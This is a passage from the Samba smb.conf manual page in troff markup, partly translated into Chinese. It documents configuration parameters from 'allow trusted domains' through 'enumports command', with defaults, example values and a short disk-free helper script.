如果你只需要在域中对成员提供服务资源的话这个选项是非常有用的.举例来说,假设有两个域DOMA和DOMB,DOMA已经向DOMB进行了委托,而samba服务器位于DOMA中.在通常情况下,在DOMB中有账号的用户可以用同样的samba服务器账号名访问UNIX上的资源.而无须他在DOMA上有账号.不过这样就使安全界线更难分清了.
缺省设置: \fBallow trusted domains = yes\fR
.TP
announce as (G)
这个选项定义\fBnmbd\fR(8) 对网络邻居声称的服务器类型.缺省为windows NT.可选项有"NT",它与"NT Server"同义,"NT Server","NT Workstation","Win95"或"WfW",它们分别代表Windows NT Server,Windows NT Workstation,Windows 95和Windows for Workgroups.除非有特殊的需要不想让samba以windows NT的身份出现,一般不要改动这个选项,因为这可能会影响samba作为浏览服务器的正确性.
缺省设置: \fBannounce as = NT Server\fR
示例: \fBannounce as = Win95\fR
.TP
announce version (G)
此选项定义nmbd用于声明服务器版本号的主版本号和次版本号.缺省版本号的是4.9。除非有特殊的必要想将samba设为低版本,一般不要改动这个选项.
缺省设置: \fBannounce version = 4.9\fR
示例: \fBannounce version = 2.0\fR
.TP
auth methods (G)
This option allows the administrator to chose what authentication methods \fBsmbd\fR will use when authenticating a user\&. This option defaults to sensible values based on \fIsecurity\fR\&. This should be considered a developer option and used only in rare circumstances\&. In the majority (if not all) of production servers, the default setting should be adequate\&.
Each entry in the list attempts to authenticate the user in turn, until the user authenticates\&. In practice only one method will ever actually be able to complete the authentication\&.
Possible options include \fBguest\fR (anonymous access), \fBsam\fR (lookups in local list of accounts based on netbios name or domain name), \fBwinbind\fR (relay authentication requests for remote users through winbindd), \fBntdomain\fR (pre-winbindd method of authentication for remote domain users; deprecated in favour of winbind method), \fBtrustdomain\fR (authenticate trusted users by contacting the remote DC directly from smbd; deprecated in favour of winbind method)\&.
缺省设置: \fBauth methods = <空字符串>\fR
示例: \fBauth methods = guest sam winbind\fR
.TP
auto services (G)
与 \fIpreload\fR 同义.
.TP
available (S)
这个选项可以用来关掉一个服务项.如果\fIavailable = no\fR,那么\fB所有\fR对该服务的连接都会失败.而这些失败会被记录下来.
缺省设置: \fBavailable = yes\fR
.TP
bind interfaces only (G)
这个全局选项允许samba管理员限制一台主机的某一个网络接口用于响应请求.这会对于\fBsmbd\fR(8)文件服务和\fBnmbd\fR(8)名字服务造成些许影响.
对于名字服务,它将使\fBnmbd\fR 绑定到'interfaces'选项里列出的网络接口的137和138端口上.为了读取广播消息,\fBnmbd\fR也会绑定到"所有地址"接口(0.0.0.0)的137和138端口上.如果没有设置这个选项,\fBnmbd\fR将在所有的接口上响应名字服务请求.如果设置了"bind interfaces only",那么\fBnmbd\fR将在广播接口上检查任何分组的源地址,丢弃任何不匹配\fIinterfaces\fR选项所列接口之广播地址的分组.当在其它接口上收到单播分组,此选项使nmbd拒绝对任何不是是\fIinterfaces\fR选项所列接口来发送分组的主机的服务.IP源地址哄骗可以使这个简单的检查失效,所以不要将\fBnmbd\fR安全功能用于严肃场合.
对于文件服务,该选项使\fBsmbd\fR(8)只在'interfaces'选项所列的网络接口上绑定.这就限制\fBsmbd\fR 只响应那些接口上发出的分组.注意,不应该在PPP和时断时续的机器上或非广播网络接口上使用这个选项,因为它处理不了非永久连接的接口.
如果设置了\fIbind interfaces only\fR,除非网络地址\fB127.0.0.1\fR被加到\fIinterfaces\fR选项的列表中,否则\fBsmbpasswd\fR(8)和\fBswat\fR(8) 可能不会象我们所期望的那样工作,原因如下:
为了改变用户SMB口令,\fBsmbpasswd\fR缺省情况下会以smb客户端的身份连接本地主机地址\fBlocalhost - 127.0.0.1\fR,发出更改口令请求.如果设置了\fIbind interfaces only\fR,\fBsmbpasswd\fR在缺省情况下将会连接失败,除非\fB127.0.0.1\fR已被加入到\fIinterfaces\fR选项.另外,可以用\fI-r remote machine\fR选项指定本地主机的主网络接口ip地址,这样\fBsmbpasswd\fR就会强制使用本地的主ip地址.
\fBswat\fR的状态页面会在\fB127.0.0.1\fR尝试连接\fBsmbd\fR和 \fBnmbd\fR,以确定它们是否正在运行.如果不加入\fB127.0.0.1\fR,将会使\fBsmbd\fR和\fBnmbd\fR 总表示没有运行甚至实际情况并不是这样.这就阻止了\fB swat\fR启动/停止/重启动\fBsmbd\fR 和\fBnmbd\fR进程.
缺省设置: \fBbind interfaces only = no\fR
.TP
blocking locks (S)
此项控制在客户为了在打开文件处获得一个字节范围的锁定而发出请求时\fBsmbd\fR(8)的动作,同时
该请求会有一个与之相关的时限.
如果设置了这个选项,锁定范围请求不能立即满足的话,samba将会在内部对请求进行排队,并且周期性地尝试获得锁定,直到超时.
如果这个选项设置为\fBno\fR,samba就会同以前版本那样,在锁定范围无法获得时立即使锁定请求失败.
缺省设置: \fBblocking locks = yes\fR
.TP
block size (S)
This parameter controls the behavior of \fBsmbd\fR(8) when reporting disk free sizes\&. By default, this reports a disk block size of 1024 bytes\&.
Changing this parameter may have some effect on the efficiency of client writes, this is not yet confirmed\&. This parameter was added to allow advanced administrators to change it (usually to a higher value) and test the effect it has on client write performance without re-compiling the code\&. As this is an experimental option it may be removed in a future release\&.
Changing this option does not change the disk free reporting size, just the block size unit reported to the client\&.
.TP
browsable (S)
与 \fIbrowseable\fR 同义。
.TP
browseable (S)
这个选项控制共享资源在可获得共享列表、net view命令及浏览列表里是否可见.
缺省设置: \fBbrowseable = yes\fR
.TP
browse list (G)
它控制\fBsmbd\fR(8)是否执行一个\fBNetServerEnum\fR调用来为客户提供一个浏览列表.正常情况它被设为\fByes\fR.这个选项可能永远不需要改动.
缺省设置: \fBbrowse list = yes\fR
.TP
case sensitive (S)
参见NAME MANGLING段的讨论.
缺省设置: \fBcase sensitive = no\fR
.TP
casesignames (S)
与 \fIcase sensitive\fR 同义.
.TP
change notify timeout (G)
samba允许客户端告诉服务器监视某个特定目录的任何变化,仅当有变化发生的时候回复SMB请求.这种连续不断的扫描在unix系统上代价很高,因此,\fBsmbd\fR(8)只在等待\fIchange notify timeout\fR时间后才对每个请求的目录执行一次扫描.
缺省设置: \fBchange notify timeout = 60\fR
示例: \fBchange notify timeout = 300\fR
这将把扫描时间改为每5分钟一次.
.TP
change share command (G)
Samba 2\&.2\&.0 introduced the ability to dynamically add and delete shares via the Windows NT 4\&.0 Server Manager\&. The \fIchange share command\fR is used to define an external program or script which will modify an existing service definition in \fIsmb\&.conf\fR\&. In order to successfully execute the \fIchange share command\fR, \fBsmbd\fR requires that the administrator be connected using a root account (i\&.e\&. uid == 0)\&.
When executed, \fBsmbd\fR will automatically invoke the \fIchange share command\fR with four parameters\&.
\fIconfigFile\fR - the location of the global \fIsmb\&.conf\fR file\&.
\fIshareName\fR - the name of the new share\&.
\fIpathName\fR - path to an **existing** directory on disk\&.
\fIcomment\fR - comment string to associate with the new share\&.
This parameter is only used modify existing file shares definitions\&. To modify printer shares, use the "Printers\&.\&.\&." folder as seen when browsing the Samba host\&.
参见 \fIadd share command\fR, \fIdelete share command\fR\&.
缺省设置: \fBnone\fR
示例: \fBchange share command = /usr/local/bin/addshare\fR
.TP
client lanman auth (G)
This parameter determines whether or not \fBsmbclient\fR(8) and other samba client tools will attempt to authenticate itself to servers using the weaker LANMAN password hash\&. If disabled, only server which support NT password hashes (e\&.g\&. Windows NT/2000, Samba, etc\&.\&.\&. but not Windows 95/98) will be able to be connected from the Samba client\&.
The LANMAN encrypted response is easily broken, due to it's case-insensitive nature, and the choice of algorithm\&. Clients without Windows 95/98 servers are advised to disable this option\&.
Disabling this option will also disable the \fBclient plaintext auth\fR option
Likewise, if the \fBclient ntlmv2 auth\fR parameter is enabled, then only NTLMv2 logins will be attempted\&. Not all servers support NTLMv2, and most will require special configuration to us it\&.
Default : \fBclient lanman auth = yes\fR
.TP
client ntlmv2 auth (G)
This parameter determines whether or not \fBsmbclient\fR(8) will attempt to authenticate itself to servers using the NTLMv2 encrypted password response\&.
If enabled, only an NTLMv2 and LMv2 response (both much more secure than earlier versions) will be sent\&. Many servers (including NT4 < SP4, Win9x and Samba 2\&.2) are not compatible with NTLMv2\&.
Similarly, if enabled, NTLMv1, \fBclient lanman auth\fR and \fBclient plaintext auth\fR authentication will be disabled\&. This also disables share-level authentication\&.
If disabled, an NTLM response (and possibly a LANMAN response) will be sent by the client, depending on the value of \fBclient lanman auth\fR\&.
Note that some sites (particularly those following 'best practice' security polices) only allow NTLMv2 responses, and not the weaker LM or NTLM\&.
Default : \fBclient ntlmv2 auth = no\fR
.TP
client plaintext auth (G)
Specifies whether a client should send a plaintext password if the server does not support encrypted passwords\&.
缺省设置: \fBclient plaintext auth = yes\fR
.TP
client schannel (G)
This controls whether the client offers or even demands the use of the netlogon schannel\&. \fIclient schannel = no\fR does not offer the schannel, \fIserver schannel = auto\fR offers the schannel but does not enforce it, and \fIserver schannel = yes\fR denies access if the server is not able to speak netlogon schannel\&.
缺省设置: \fBclient schannel = auto\fR
示例: \fBclient schannel = yes\fR
.TP
client signing (G)
This controls whether the client offers or requires the server it talks to to use SMB signing\&. Possible values are \fBauto\fR, \fBmandatory\fR and \fBdisabled\fR\&.
When set to auto, SMB signing is offered, but not enforced\&. When set to mandatory, SMB signing is required and if set to disabled, SMB signing is not offered either\&.
缺省设置: \fBclient signing = auto\fR
.TP
client use spnego (G)
This variable controls controls whether samba clients will try to use Simple and Protected NEGOciation (as specified by rfc2478) with WindowsXP and Windows2000 servers to agree upon an authentication mechanism\&. SPNEGO client support for SMB Signing is currently broken, so you might want to turn this option off when operating with Windows 2003 domain controllers in particular\&.
缺省设置: \fBclient use spnego = yes\fR
.TP
comment (S)
这是一段当客户用\fB网上邻居\fR(\fBnet view\fR)察看服务器上共享资源时显示的说明文字.
如果想设置机器名后的说明文字请参考 \fI server string\fR 命令.
缺省设置: \fBNo comment string\fR
示例: \fBcomment = Fred's Files\fR
.TP
config file (G)
这可以使samba使用指定的配置文件来替代缺省的配置文件,(通常是\fIsmb\&.conf\fR).如果设置了这个选项,会出现一个先有鸡还是先有蛋的问题!
由于这个原因,如果在加载这个选项的时候发现配置文件名变化了,就会从新的配置文件里重新加载选项.
这个选项作为常用的替换非常有用.
如果这个配置文件不存在,那么就不会被加载.(允许你特殊地处理少数客户的配置文件)
示例: \fBconfig file = /usr/local/samba/lib/smb.conf.%m\fR
.TP
copy (S)
这使你可以克隆服务. 指定的服务以当前服务的名字进行简单的复制,当前服务里定义的选项将替代被拷服务里任何相应的选项.
这个特性允许建立一个服务的'模版',可以很容易的生成相似的服务.注意,被拷贝的服务在配置文件里必须先于拷贝的服务出现.
缺省设置: \fBno value\fR
示例: \fBcopy = otherservice\fR
.TP
create mask (S)
与 \fIcreate mode\fR 同义.
当生成一个文件的时候,需要知道从dos模式映射到unix下的文件权限.最后的结果用这个参数进行逐位的与运算得到.这个选项可以理解成unix下文件的位掩码.在生成文件的时候,任何\fB没有\fR设置的位将会从创建模式中去掉.
这个选项的缺省值是从unix的文件创建模式中去掉组和其他用户的写和执行标志位.
根据这个规则,samba将会把这个选项生成的unix文件创建模式和由\fIforce create mode\fR设置的选项进行逐位的或运算,\fIforce create mode\fR 的缺省选项是000.
这个选项不会影响目录创建模式.细节参见\fIdirectory mode \fR .
参考\fIforce create mode\fR以进一步了解在创建文件时设置的特殊位.关于创建目录模式参见\fIdirectory mode\fR选项.参见 \fIinherit permissions\fR parameter.
Note that this parameter does not apply to permissions set by Windows NT/2000 ACL editors\&. If the administrator wishes to enforce a mask on access control lists also, they need to set the \fIsecurity mask\fR\&.
缺省设置: \fBcreate mask = 0744\fR
示例: \fBcreate mask = 0775\fR
.TP
create mode (S)
与 \fI create mask\fR 同义.
.TP
csc policy (S)
This stands for \fBclient-side caching policy\fR, and specifies how clients capable of offline caching will cache the files in the share\&. The valid values are: manual, documents, programs, disable\&.
These values correspond to those used on Windows servers\&.
For example, shares containing roaming profiles can have offline caching disabled using \fBcsc policy = disable\fR\&.
缺省设置: \fBcsc policy = manual\fR
示例: \fBcsc policy = programs\fR
.TP
deadtime (G)
这个值(十进制整数)定义连接发呆超时,单位是分钟.如果一个连接发超过了这个时间就会被断开.如果有文件被打开了,这个时间就不起作用.
这可以保护服务器不被过多的发呆连接耗尽资源.
多数客户端有连接断开后的自动重连功能,所以大多数情况下,这个选项对用户应该是透明的
对多数系统建议使用较短的发呆超时的选项.
发呆超时选项被设为0意味着不会自动断开连接..
缺省设置: \fBdeadtime = 0\fR
示例: \fBdeadtime = 15\fR
.TP
debug hires timestamp (G)
有些时候记录信息需要比秒更高层次的时间标识,用这个布尔量选项可以向时间标识信息头中加入以微秒级的频率.
注意要使用这个选项,必须打开\fI debug timestamp\fR选项.
缺省设置: \fBdebug hires timestamp = no\fR
.TP
debuglevel (G)
与 \fI log level\fR 同义.
.TP
debug pid (G)
为很多从\fBsmbd\fR(8)fork出来的进程使用同一个记录文件时,很难精确地跟踪信息是哪个进程输出的.用这个布尔量选项向时间标识信息头中自动添加进程号.
注意要使用这个选项,必须打开\fI debug timestamp\fR 选项.
缺省设置: \fBdebug pid = no\fR
.TP
debug timestamp (G)
samba缺省会给调试纪录信息加上时间标识.如果运行的是高级别\fIdebug level\fR的调试,这个时间标识可以被转移.用这个选项可以将时间标识关闭.
缺省设置: \fBdebug timestamp = yes\fR
.TP
debug uid (G)
samba有时以root身份运行,而有时以已联接的用户来运行.使用这个布尔量选项可以向记录文件的时间标识信息头中自动插入当前的euid,egid,uid和gid标识.
Note that the parameter must be on for this to have an effect\&.
注意要使用这个选项,必须打开\fI debug timestamp\fR选项.
缺省设置: \fBdebug uid = no\fR
.TP
default (G)
与 \fI default service\fR 同义.
.TP
default case (S)
参见"NAME MANGLING"段. 也注意一下\fIshort preserve case\fR选项.
缺省设置: \fBdefault case = lower\fR
.TP
default devmode (S)
This parameter is only applicable to printable services\&. When smbd is serving Printer Drivers to Windows NT/2k/XP clients, each printer on the Samba server has a Device Mode which defines things such as paper size and orientation and duplex settings\&. The device mode can only correctly be generated by the printer driver itself (which can only be executed on a Win32 platform)\&. Because smbd is unable to execute the driver code to generate the device mode, the default behavior is to set this field to NULL\&.
Most problems with serving printer drivers to Windows NT/2k/XP clients can be traced to a problem with the generated device mode\&. Certain drivers will do things such as crashing the client's Explorer\&.exe with a NULL devmode\&. However, other printer drivers can cause the client's spooler service (spoolsv\&.exe) to die if the devmode was not created by the driver itself (i\&.e\&. smbd generates a default devmode)\&.
This parameter should be used with care and tested with the printer driver in question\&. It is better to leave the device mode to NULL and let the Windows client set the correct values\&. Because drivers do not do this all the time, setting \fBdefault devmode = yes\fR will instruct smbd to generate a default one\&.
For more information on Windows NT/2k printing and Device Modes, see the MSDN documentation\&.
缺省设置: \fBdefault devmode = no\fR
.TP
default service (G)
这个选项定义一个当指定服务找不到时的缺省服务.注意,在选项值里\fB没有\fR方括号(看示例!).
这个选项没有缺省值. 如果没给出这个选项的话,对不存在的服务的请求将返回错误.
缺省服务一般是那些允许\fIguest ok\fR, \fIread-only\fR的服务.
外在的服务名可能被替换成请求的服务名,这样就可以用象\fI%S\fR这样的宏来做一个通用的服务.
注意在缺省服务选项指定的服务名里, 字符'_'被映射为'/'. 这样可能会出现有趣的事情.
示例:
.nf
[global]
default service = pub
[pub]
path = /%S
.fi
.TP
delete group script (G)
This is the full pathname to a script that will be run \fBAS ROOT\fR \fBsmbd\fR(8) when a group is requested to be deleted\&. It will expand any \fI%g\fR to the group name passed\&. This script is only useful for installations using the Windows NT domain administration tools\&.
.TP
deleteprinter command (G)
With the introduction of MS-RPC based printer support for Windows NT/2000 clients in Samba 2\&.2, it is now possible to delete printer at run time by issuing the DeletePrinter() RPC call\&.
For a Samba host this means that the printer must be physically deleted from underlying printing system\&. The \fI deleteprinter command\fR defines a script to be run which will perform the necessary operations for removing the printer from the print system and from \fIsmb\&.conf\fR\&.
The \fIdeleteprinter command\fR is automatically called with only one parameter: \fI "printer name"\fR\&.
Once the \fIdeleteprinter command\fR has been executed, \fBsmbd\fR will reparse the \fI smb\&.conf\fR to associated printer no longer exists\&. If the sharename is still valid, then \fBsmbd \fR will return an ACCESS_DENIED error to the client\&.
参见 \fI addprinter command\fR, \fIprinting\fR, \fIshow add printer wizard\fR
缺省设置: \fBnone\fR
示例: \fBdeleteprinter command = /usr/bin/removeprinter\fR
.TP
delete readonly (S)
这个选项允许删除只读文件,这个只读不是通常dos里的含义,而是unix中的.
这个选项对于rcs这样的应用很有用,在这种情况下,unix文件的属主不允许改变权限,dos文件只读.
缺省设置: \fBdelete readonly = no\fR
.TP
delete share command (G)
Samba 2\&.2\&.0 introduced the ability to dynamically add and delete shares via the Windows NT 4\&.0 Server Manager\&. The \fIdelete share command\fR is used to define an external program or script which will remove an existing service definition from \fIsmb\&.conf\fR\&. In order to successfully execute the \fIdelete share command\fR, \fBsmbd\fR requires that the administrator be connected using a root account (i\&.e\&. uid == 0)\&.
When executed, \fBsmbd\fR will automatically invoke the \fIdelete share command\fR with two parameters\&.
\fIconfigFile\fR - the location of the global \fIsmb\&.conf\fR file\&.
\fIshareName\fR - the name of the existing service\&.
This parameter is only used to remove file shares\&. To delete printer shares, see the \fIdeleteprinter command\fR\&.
参见 \fIadd share command\fR, \fIchange share command\fR\&.
缺省设置: \fBnone\fR
示例: \fBdelete share command = /usr/local/bin/delshare\fR
.TP
delete user from group script (G)
Full path to the script that will be called when a user is removed from a group using the Windows NT domain administration tools\&. It will be run by \fBsmbd\fR(8) \fBAS ROOT\fR\&. Any \fI%g\fR will be replaced with the group name and any \fI%u\fR will be replaced with the user name\&.
缺省设置: \fBdelete user from group script = \fR
示例: \fBdelete user from group script = /usr/sbin/deluser %u %g\fR
.TP
delete user script (G)
它定义一个在使用RPC(NT)工具管理用户时,fBsmbd\fR(8)以root身份运行的包括路径的一个脚本.
当远程客户使用'User Manager for Domains' 或是 \fBrpcclient\fR 从服务器上删除一个用户时执行此操作。
这个脚本删除给定的unix用户。
缺省设置: \fBdelete user script = <空字符串>\fR
示例: \fBdelete user script = /usr/local/samba/bin/del_user %u\fR
.TP
delete veto files (S)
这个选项用于samba试图删除一个或多个包含禁止文件的目录的情况(参见\fIveto files\fR选项). 如果这个选项设置为\fBno\fR(缺省情况),那么如果一个禁止目录里包含了任何非禁止的文件或目录,删除就会失败.这通常正是你所希望的.
如果这个选项被设为了 \fByes\fR,Samba将试图递归删除在被禁止目录里的任何文件和目录.这对于整合象NetAtalk这样的文件服务系统很有用,它通常会在目录里生成Dos/windows用户看不见的中间文件(e.g. \fI.AppleDouble\fR).
设置\fBdelete veto files = yes\fR 使那些有权限的用户可以在删除父目录的时候透明的删除子目录.
参见 \fIveto files\fR 选项.
缺省设置: \fBdelete veto files = no\fR
.TP
deny hosts (S)
与 \fIhosts deny\fR 同义.
.TP
dfree command (G)
\fIdfree command\fR只需在磁盘空间计算有问题的系统上使用.这个空间计算的问题仅在Ultrix系统上发生过,但在其他的操作系统上也有可能发生.发生这个问题的现象是在每个目录列表最后发生错误并提示"Abort Retry Ignore".
这个设置允许用外部程序代替内部程序来计算总共的磁盘空间和可用的磁盘空间.下面的例子给出了一个能完成这个功能的脚本.
这个外部程序的输入是文件系统里一个需要计算的目录,典型的包括\fI./\fR字符串.以ascii码返回两个整数.第一个是总共的磁盘空间(以块为单位),第二个是可用块树.可选的第三个返回值可以以字节为单位给出块的大小.缺省的块的大小是1024字节.
注意:这个脚本应该属主为root,\fB只有\fRroot可写,并且\fB不能\fR带有用户标识位和组标识位(setuid or setgid)!
缺省设置: \fB缺省用内部程序来计算磁盘容量和可用空间. \fR
示例: \fBdfree command = /usr/local/samba/bin/dfree\fR
如下这个dfree脚本必须是可执行的.
.nf
#!/bin/sh
df $1 | tail -1 | awk '{print $2" "$4}'
.fi
在Sys V一类的系统上可能是:
.nf
#!/bin/sh
/usr/bin/df -k $1 | tail -1 | awk '{print $3" "$5}'
.fi
注意在特定的系统上可能需要给出相应的带有全路径的命令.
.TP
directory (S)
与 \fIpath\fR 同义.
.TP
directory mask (S)
这个选项是8进制的模式。用来控制在生成UNIX目录时,将其从dos模式转换为unix模式。
当生成一个路径的时候,必须指定的目录权限从dos模式映射到unix模式,然后这个结果和这个选项进行逐位的与运算.这个选项可以理解成unix模式下的位掩码.这个选项里任何\fB没有\fR设置的位在生成unix下的目录时将会被去掉
缺省情况下,这个选项把组和其他用户的写权限位去掉,只允许目录的属主对目录进行修改.
Samba将把这个选项和\fIforce directory mode\fR的选项进行逐位的或运算,这个选项缺省时设置为000(也就是不加额外的限制).
Note that this parameter does not apply to permissions set by Windows NT/2000 ACL editors. If the administrator wishes to enforce a mask on access control lists also, they need to set the \fIdirectory security mask\fR.
在生成目录时如果需要设置特殊的模式位,参见\fIforce directory mode\fR选项.
关于生成文件时的模式位参见\fIcreate mode \fR选项和\fIdirectory security mask\fR选项.
Also refer to the \fI inherit permissions\fR parameter.
缺省设置: \fBdirectory mask = 0755\fR
示例: \fBdirectory mask = 0775\fR
.TP
directory mode (S)
与 \fI directory mask\fR 同义。
.TP
directory security mask (S)
此选项控制了NT客户在他的本地NT安全对话框中操纵unix目录权限时可以修改哪些权限位.
这个选项以掩码来实现改变权限位,所以在修改时要防止不在掩码中涉及的那些位.实际上,在这个掩码中的位0可以使用户无法改变任何东东.
如果没有明确设定的话,这个选项会用与directory mask选项同样的值.要允许用户在目录中可以修改所有的user/group/world权限,可以把这个选项设为0777.
\fB注意\fR,能访问samba服务器的用户通过其它方法也可以很容易地绕过这个限制,所以对独立工作的系统来说这个选项是最根本最有用的.很多系统管理的管理员都会把它设为默认的\fB0777\fR.
参见\fI force directory security mode\fR, \fIsecurity mask\fR, \fIforce security mode \fR 选项。
缺省设置: \fBdirectory security mask = 0777\fR
示例: \fBdirectory security mask = 0700\fR
.TP
disable netbios (G)
Enabling this parameter will disable netbios support in Samba\&. Netbios is the only available form of browsing in all windows versions except for 2000 and XP\&.
Note that clients that only support netbios won't be able to see your samba server when netbios support is disabled\&.
缺省设置: \fBdisable netbios = no\fR
示例: \fBdisable netbios = yes\fR
.TP
disable spoolss (G)
Enabling this parameter will disable Samba's support for the SPOOLSS set of MS-RPC's and will yield identical behavior as Samba 2\&.0\&.x\&. Windows NT/2000 clients will downgrade to using Lanman style printing commands\&. Windows 9x/ME will be uneffected by the 选项。 However, this will also disable the ability to upload printer drivers to a Samba server via the Windows NT Add Printer Wizard or by using the NT printer properties dialog window\&. It will also disable the capability of Windows NT/2000 clients to download print drivers from the Samba host upon demand\&. \fBBe very careful about enabling this 选项。\fR
See also use client driver
Default : \fBdisable spoolss = no\fR
.TP
display charset (G)
Specifies the charset that samba will use to print messages to stdout and stderr and SWAT will use\&. Should generally be the same as the \fBunix charset\fR\&.
缺省设置: \fBdisplay charset = ASCII\fR
示例: \fBdisplay charset = UTF8\fR
.TP
dns proxy (G)
指定\fBnmbd\fR(8)象WINS服务器那样寻找没有登记的NetBIOS名,象对待DNS名那样逐字的对待NetBIOS名,向DNS服务器查询该名称所代表的客户端.
注意,NetBISO名的最大长度是15个字符,所以DNS名(或DNS别名)同样最多只能有15个字符.
\fBnmbd\fR 在做DNS名查询的时候将自身复制一份,因为域名查询是一个阻塞的动作.
参见 \fI wins support\fR 。
缺省设置: \fBdns proxy = yes\fR
.TP
domain logons (G)
如果这个选项为\fByes\fR,Samba服务器将为\fIworkgroup\fR提供Windows 95/98 登陆域服务.Samba 2.2只能实现Windows NT 4 域中域控制器的有限功能。有关设置这个功能的更详细信息参见Samba 文档中的Samba-PDC-HOWTO。
缺省设置: \fBdomain logons = no\fR
.TP
domain master (G)
这个选项告诉\fBsmbd\fR(8)收集广域网内的浏览列表.设置这个选项后,\fBnmbd\fR用一个特定的NetBIOS名向它的\fI工作组\fR标识它自己是一个主控浏览器.在同一\fI工作组\fR不同子网中的本地主控浏览器将把自己的浏览列表传给\fBnmbd\fR,然后向\fBsmbd\fR(8) 请求整个网络上浏览列表的完整拷贝.客户端将和他们的本地主控浏览器联系,得到整个域范围内的浏览列表,而不只是子网上的列表.
注意,windows NT主域控制器默认情况总是占有这个在\fI工作组\fR中的特殊的NetBIOS名,宣称自己是\fI工作组\fR的主域浏览器(也就是说,没有什么方法可以阻止一个Windows NT主域控制器这样做). 这样如果设置了这个选项,并且\fBnmbd\fR 在Windows NT之前向\fI工作组\fR宣称了这个特殊的名字,那么跨子网的浏览行为会变得奇怪,并且可能会失败.
If \fBdomain logons = yes\fR , then the default behavior is to enable the \fIdomain master\fR 选项。 If \fIdomain logons\fR is not enabled (the default setting), then neither will \fIdomain master\fR be enabled by default\&.
缺省设置: \fBdomain master = auto\fR
.\" -=>从此以上为ttao翻译
.\" -=>从此以下为Edwin Chen翻译
.TP
dont descend (S)
有些系统上存在某些特殊的路径(比如linux中的\fI/proc\fR),这些目录不需要(也不希望)客户端关心,甚至可能具有无限的层次深度(递归的).这个选项允许你指定一个由逗号分隔的列表,服务器将把列表内包含的目录始终显示成空目录.
注意,Samba对'dont descend'选项的输入格式十分挑剔.例如他也许要求你输入\fI./proc\fR而不是仅仅是\fI/proc\fR.实践是最好的策略.
缺省设置: \fBnone (也就是说,所有目录的内容会正常的传递给客户端)\fR
示例: \fBdont descend = /proc,/dev\fR
.TP
dos charset (G)
DOS SMB clients assume the server has the same charset as they do\&. This option specifies which charset Samba should talk to DOS clients\&.
The default depends on which charsets you have installed\&. Samba tries to use charset 850 but falls back to ASCII in case it is not available\&. Run \fBtestparm\fR(1) to check the default on your system\&.
.TP
dos filemode (S)
The default behavior in Samba is to provide UNIX-like behavior where only the owner of a file/directory is able to change the permissions on it\&. However, this behavior is often confusing to DOS/Windows users\&. Enabling this parameter allows a user who has write access to the file (by whatever means) to modify the permissions on it\&. Note that a user belonging to the group owning the file will not be allowed to change permissions if the group is only granted read access\&. Ownership of the file/directory is not changed, only the permissions are modified\&.
缺省设置: \fBdos filemode = no\fR
.TP
dos filetime resolution (S)
在DOS和Windows FAT文件系统中,时间的计量精度是2秒。对共享资源设置这个选项,可以使得在一个向\fBsmbd\fR(8)的查询需要1秒精度时,Samba把报告的时间精度降低到2秒左右。
这个选项的主要用于解决Visual C++与Samba的兼容性问题.当共享文件被锁定时(oplocks选项被设置为允许),Visual C++使用两个不同的读取时间的函数调用来检查文件自从最后一次读操作以来是否有改变.其中一个函数使用1秒的时间尺度,而另一个则使用2秒的时间尺度.由于使用基于2秒的方法要舍去任何的奇数秒,当文件的时间记录是奇数秒时,Visual C++的两次函数调用结果就会不一致,Visual C++就会总是认为文件被改变.设置这个选项可以使得两次函数调用的结果一致,Visual C++会很高兴的接受这一切.
缺省设置: \fBdos filetime resolution = no\fR
.TP
dos filetimes (S)
在DOS和Windows操作系统中,如果用户对文件进行写操作,就会改变文件的时间记录.而在POSIX规则中,只有文件的所有者和root才有改变文件时间记录的能力.缺省的,Samba按照POSIX规则运行,如果\fBsmbd\fR的用户不是文件的所有者,那么他对文件的操作不会改变文件的时间记录.如果设置这个选项为\fB yes\fR,那么\fBsmbd\fR(8)就按照DOS的规则运行,并且按照DOS系统的要求改变文件的时间记录.
缺省设置: \fBdos filetimes = no\fR
.TP
enable rid algorithm (G)
This option is used to control whether or not smbd in Samba 3\&.0 should fallback to the algorithm used by Samba 2\&.2 to generate user and group RIDs\&. The longterm development goal is to remove the algorithmic mappings of RIDs altogether, but this has proved to be difficult\&. This parameter is mainly provided so that developers can turn the algorithm on and off and see what breaks\&. This parameter should not be disabled by non-developers because certain features in Samba will fail to work without it\&.
缺省设置: \fBenable rid algorithm = <yes>\fR
.TP
encrypt passwords (G)
这个布尔型值控制着是否与客户端用加密口令进行交谈.注意,NT4.0 SP3 及以上还有WINDOWS 98在缺省情况下使用加密口令进行交谈,除非改变了注册表的相应健值.想要使用加密口令,清参阅Samba HOWTO Collection中的 "User Database" 章节。
想要使加密口令能正确的工作, \fBsmbd\fR(8)必须能访问本地的\fBsmbpasswd\fR(5)文件(如何正确设置和维护这个文件,请参阅\fBsmbpasswd\fR(8)手册),或者,设置选项security= [server|domain|ads],这样设置将使得\fBsmbd\fR依赖其它的服务器来帮它鉴别口令.
缺省设置: \fBencrypt passwords = yes\fR
.TP
enhanced browsing (G)
This option enables a couple of enhancements to cross-subnet browse propagation that have been added in Samba but which are not standard in Microsoft implementations\&.
The first enhancement to browse propagation consists of a regular wildcard query to a Samba WINS server for all Domain Master Browsers, followed by a browse synchronization with each of the returned DMBs\&. The second enhancement consists of a regular randomised browse synchronization with all currently known DMBs\&.
You may wish to disable this option if you have a problem with empty workgroups not disappearing from browse lists\&. Due to the restrictions of the browse protocols these enhancements can cause a empty workgroup to stay around forever which can be annoying\&.
In general you should leave this option enabled as it makes cross-subnet browse propagation much more reliable\&.
缺省设置: \fBenhanced browsing = yes\fR
.TP
enumports command (G)
The concept of a "port" is fairly foreign to UNIX hosts\&. Under Windows NT/2000 print servers, a port is associated with a port monitor and generally takes the form of a local port (i\&.e\&. LPT1:, COM1:, FILE:) or a remote port (i\&.e\&. LPD Port Monitor, etc\&.\&.\&.)\&. By default, Samba has only one port defined--\fB"Samba Printer Port"\fR\&. Under Windows NT/2000, all printers must have a valid port name\&. If you wish to have a list of ports displayed (\fBsmbd \fR does not use a port name for anything) other than the default \fB"Samba Printer Port"\fR, you can define \fIenumports command\fR to point to a program which should generate a list of ports, one per line, to standard output\&. This listing will then be used in response to the level 1 and 2 EnumPorts() RPC\&.
缺省设置: \fBno enumports command\fR
示例: \fBenumports command = /usr/bin/listports\fR
.TP
exec (S)
与 \fIpreexec\fR 同义。
.TP
fake directory create times (S)
